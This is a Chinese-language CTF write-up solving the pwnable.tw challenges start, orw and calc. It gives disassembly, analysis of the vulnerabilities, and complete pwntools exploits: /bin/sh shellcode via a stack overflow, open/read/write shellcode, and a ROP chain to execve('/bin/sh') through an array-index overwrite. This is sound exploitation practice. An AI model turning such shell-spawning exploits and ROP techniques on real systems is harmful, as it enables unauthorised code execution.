前段时间闲逛的时候发现了这个网站,看了一下,还有点小难,而且网上有关的wp也比较少,正好可以来练练自己的能力
start
Just a start.
这道题就让我感觉到了有点小难,拖进ida之后发现这是个拿汇编写的程序
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
很明显是个栈溢出,第二次调用的sys_read读取的内容可以覆盖到ret的地址
所以这道题思路也很简单:
- leak栈地址
- ret to shellcode
不过拿checksec看的话是开了nx的,很迷
exp:
from pwn import *
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p = process('./start')
print p.recvuntil('CTF:')
payload1 = 'a'*(0x14) + p32(0x8048087)
p.send(payload1)
esp_addr = u32(p.recv(4))
print hex(esp_addr)
payload2 = 'a'*(0x14) + p32(esp_addr+0x14) + shellcode
p.send(payload2)
p.interactive()
orw
Read the flag from
/home/orw/flag
.
Onlyopen
read
write
syscall are allowed to use.
这道题完全就是在考汇编,和pwnable.kr的一道asm很像,这个是32位的还要简单一点
asm:
global START
START:
jmp MESSAGE
BACK:
mov eax,5 ;open
pop ebx
mov ecx,0
mov edx,7
int 80h
mov ebx,eax ;read
mov eax,3
mov ecx,esp
mov edx,100
int 80h
mov eax,4 ;write
mov ebx,1
mov ecx,esp
mov edx,100
int 80h
xor ebx,ebx ;exit
mov eax,1
int 80h
MESSAGE:
call BACK
file db '/home/orw/flag'
db 00
拿nasm编译之后再用objdump查看
nasm -f elf32 shellcode.asm -o asm.o
objdump -d asm.o | cut -f2
之后直接把shellcode送过去就行了
exp:
from pwn import *
p = remote('chall.pwnable.tw',10001)
shellcode="\xeb\x3e\xb8\x05\x00\x00\x00\x5b\xb9\x00\x00\x00\x00\xba\x07\x00\x00\x00\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe1\xba\x64\x00\x00\x00\xcd\x80\xb8\x04\x00\x00\x00"
shellcode+="\xbb\x01\x00\x00\x00\x89\xe1\xba\x64\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xbd\xff\xff\xff\x2f"
shellcode+="\x68\x6f\x6d\x65\x2f\x6f\x72\x77\x2f\x66\x6c\x61\x67"
p.send(shellcode)
p.interactive()
calc
Have you ever use Microsoft calculator?
这道题的难度突然变大,让我这种垃圾想了很久很久…..
题目描述中的微软计算器还真是有一些漏洞,可以谷歌,然而和这道题并没有什么关系orz
首先分析程序的算法:
int calc()
{
int v1[101]; // [sp+18h] [bp-5A0h]@4
char s[1024]; // [sp+1ACh] [bp-40Ch]@2
int canary; // [sp+5ACh] [bp-Ch]@1
canary = *MK_FP(__GS__, 20);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr((int)s, 1024) )
break;
init_pool(v1);
if ( parse_expr((int)s, v1) )
{
printf((const char *)&aD_1, v1[v1[0] - 1 + 1]);
fflush(stdout);
}
}
return *MK_FP(__GS__, 20) ^ canary;
}
这里首先初始化了一个字符数组来储存用户的输入,get_expr函数中会获取输入,但是读到非数字和运算符字符就会直接退出
init_pool函数是将v1中所有元素置0
主要的逻辑在parse_expr中
signed int __cdecl parse_expr(char *inputData, int *num_array)
{
int numLen; // ST2C_4@3
signed int result; // eax@4
int index; // eax@6
int v5; // ebx@25
char *p; // [sp+20h] [bp-88h]@1
int i; // [sp+24h] [bp-84h]@1
int operFlag; // [sp+28h] [bp-80h]@1
char *getNum; // [sp+30h] [bp-78h]@3
int getNum_int; // [sp+34h] [bp-74h]@5
char operator[100]; // [sp+38h] [bp-70h]@1
int canary; // [sp+9Ch] [bp-Ch]@1
canary = *MK_FP(__GS__, 20);
p = inputData;
operFlag = 0;
bzero(operator, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(inputData[i] - 48) > 9 )// is number ?
{
numLen = &inputData[i] - p;
getNum = (char *)malloc(numLen + 1);
memcpy(getNum, p, numLen);
getNum[numLen] = 0;
if ( !strcmp(getNum, "0") )
{
puts("prevent division by zero");
fflush(stdout);
result = 0;
goto end;
}
getNum_int = atoi(getNum);
if ( getNum_int > 0 )
{
index = (*num_array)++;
num_array[index + 1] = getNum_int;
}
if ( inputData[i] && (unsigned int)(inputData[i + 1] - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
result = 0;
goto end;
}
p = &inputData[i + 1];
if ( operator[operFlag] )
{
switch ( inputData[i] )
{
case 43:
case 45:
eval(num_array, operator[operFlag]);
operator[operFlag] = inputData[i];
break;
case 37:
case 42:
case 47:
if ( operator[operFlag] != 43 && operator[operFlag] != 45 )
{
eval(num_array, operator[operFlag]);
operator[operFlag] = inputData[i];
}
else
{
operator[++operFlag] = inputData[i];
}
break;
default:
eval(num_array, operator[operFlag--]);
break;
}
}
else
{
operator[operFlag] = inputData[i];
}
if ( !inputData[i] )
break;
}
}
while ( operFlag >= 0 )
eval(num_array, operator[operFlag--]);
result = 1;
end:
v5 = *MK_FP(__GS__, 20) ^ canary;
return result;
}
可以看到这里主要的逻辑是逐个字符进行判断,判断到操作符时就会执行atoi转化成数字,最后在eval中进行计算。
这里的漏洞其实不怎么好发现,因为看算法都头痛(
通过观察发现这里是使用数组的第0位进行索引,所以只要能覆盖第0位,就可以实现栈上任意地址的读写。通过实验发现如果第一个字符是运算符的话,就可以把第一个数字写到第0位(eval中每次进行运算是当前数字与前一个数字进行运算,结果储存在上一个空间)
-000005A0 var_5A0 dd 101 dup(?)
-0000040C s db 1024 dup(?)
-0000000C canary dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
观察栈空间,可以发现数组((0x5A0+4)/4)位就是返回地址,所以我们就可以通过这一点控制eip了
然而程序开了nx,也没给libc,无法使用现成的函数或者是shellcode,所以只有使用ROPgadget构造execve(“\bin\sh”)
可以用pwntools自带的rop.rop模块进行寻找,然而生成的rop链很多0,会被过滤掉,所以需要自己处理一下
经过处理,我找了一条比较好的链
0x0805c34b 处有指令 pop eax ; ret 这里就可以给eax赋值
0x080701b0 处有指令 pop edx; pop ecx; pop ebx; ret 这里就可以给edx,ecx赋0,给ebx赋”/bin/sh”的地址,而这个地址可以通过读取数组第(0x5A0/4)位+偏移获得
0x8049a21 处有int 80 在这里执行系统调用
最后构造的栈的结构应该是
0x0805c34b |
---|
0xb |
0x080701b0 |
0x0 |
0x0 |
leak esp(运气比较好,leak出来的地址刚好在这里) |
0x8049a21 |
“/bin” |
“/sh” + \x00 |
最后的exp:
from pwn import *
def set_zero(p, index, id):
payload1 = '+' + str(index / 4 + id)
p.sendline(payload1)
flag = eval(p.recvline())
if flag == 0:
return
payload1 = '+' + str(index / 4 + id) + '-' + str(flag)
if '--' in payload1:
payload1.replace('--', '+')
p.sendline(payload1)
p.recvline()
bin_sh = '/bin/sh\x00'
elf = ELF('calc')
rop = ROP(elf)
pop_eax_addr = 0x805c34b
int80_addr = 0x8049a21
pop_ebx_addr = 0x080701D0
index = 0x5a0
#p = process('./calc')
p = remote('chall.pwnable.tw', 10100)
print p.recvline()
payload = '+' + str(index/4)
p.sendline(payload)
esp_addr = eval(p.recvline())
print 'get_esp_addr = ' + hex(0x100000000+esp_addr)
payload = '+' + str(index/4+1) + '+' + str(pop_eax_addr-0x08049499)
print payload
p.sendline(payload)
p.recvline()
set_zero(p, index, 2)
payload = '+' + str(index/4+2) + '+' + str(11)
p.sendline(payload)
p.recvline()
set_zero(p, index, 3)
payload = '+' + str(index/4+3) + '+' + str(pop_ebx_addr)
p.sendline(payload)
p.recvline()
set_zero(p, index, 4)
set_zero(p, index, 5)
set_zero(p, index, 6)
payload = '+' + str(index/4+6) + str(esp_addr)
p.sendline(payload)
p.recvline()
set_zero(p, index, 7)
payload = '+' + str(index/4+7) + '+' + str(int80_addr)
p.sendline(payload)
p.recvline()
set_zero(p, index, 8)
payload = '+' + str(index/4+8) + '+' + str(u32(bin_sh[0:4]))
p.sendline(payload)
p.recvline()
set_zero(p, index, 9)
payload = '+' + str(index/4+9) + '+' + str(u32(bin_sh[4:8]))
p.sendline(payload)
p.recvline()
for x in range(9):
payload = '+' + str(index / 4 + x + 1)
p.sendline(payload)
temp = eval(p.recvline())
if temp < 0:
temp += 0x100000000
print hex(temp)
p.sendline()
p.interactive()
未完待续…